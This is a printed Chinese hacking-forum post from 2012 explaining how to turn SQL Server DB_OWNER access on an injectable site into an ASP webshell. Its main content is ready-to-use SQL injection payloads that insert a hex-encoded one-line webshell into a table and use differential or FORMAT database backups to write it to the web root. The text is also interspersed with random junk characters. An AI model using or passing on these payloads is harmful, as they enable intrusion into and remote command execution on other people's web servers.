中国网络渗透测试联盟
标题:
DB_OWNER权限得到webshell的改进办法
[打印本页]
作者:
admin
时间:
2012-11-9 21:31
标题:
DB_OWNER权限得到webshell的改进办法
DB_OWNER权限得到webshell的两点改进:
4 |) U7 f2 Y+ s) \$ w% k
/ R* k6 l p4 u7 D
减少备份文件大小，得到可执行的webshell成功率提高不少
( u( o R+ x6 q
一利用差异备份
3 b5 Y/ O' W: k
加一个参数WITH DIFFERENTIAL
) D* m- L/ M( \: c7 u9 Y" v
7 X: k6 O. R9 [ { W
1
) I- J: g# h8 ?) ^" F6 f
2
% G" u7 i( _2 O# W0 w5 k4 z8 `
3
& q. a, _, {; K' K. J
4
6 s) |* z- |/ w* P
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
. k2 A2 a6 R2 J T
create table [dbo].[xiaolu] ([cmd] [image]);
. n0 V% A8 k$ t: H" w! z( ]
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
/ t$ d3 Y7 Y& k1 n3 c5 h! i6 a
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
$ \0 D/ b8 o! U
8 w- Z1 V! C% }. l% b3 j/ U
二利用完全FORMAT
1 m) W6 }" f4 v5 l$ p! u
加一个参数WITH FROMAT
; D3 }8 h0 G; C; S V
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
* Y: Y# w* c Y3 b/ S5 y& D- y
/ Z( T2 m) e; V
1
% i. L8 r1 I. ]- g6 a/ O
2
" ]$ S, v2 g& ^/ J7 s
3
9 W# V4 M! d/ M' X' I" ?
4
`; ^* j" H/ [' K+ P; s
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
& C% p% G2 u3 Q/ j+ }
create table [dbo].[xiaolu] ([cmd] [image]);
J8 T( R2 `2 S5 Y. f
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 H1 U% b9 h+ F; `0 j
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
, x+ J9 Q. j$ ?: U# S
4 g) ?: p6 Q% U! R( f: l! d
总的来说就是那么简单几句,下面以备份数据库model为例子
2 | N+ V5 `; ?* d! p) h8 i' E; V5 _1 c
1
: t- k& Q9 V2 Z, |7 C
2 D1 P9 s& X0 K) ^4 M8 M: m
1
" H k" O6 J3 D0 J F
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
/ h! }! V9 Z& z
2 y3 P$ N# V' @- ?- E- G9 I
2
' A! B1 p6 ?4 y3 j
& S9 m7 c9 ]! L7 e
1
$ j# m* b' n8 u& u8 |
id=1;backup database model to disk='你的路径‘ with differential,format;--
, R9 e P$ ?: q9 w+ g. H
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2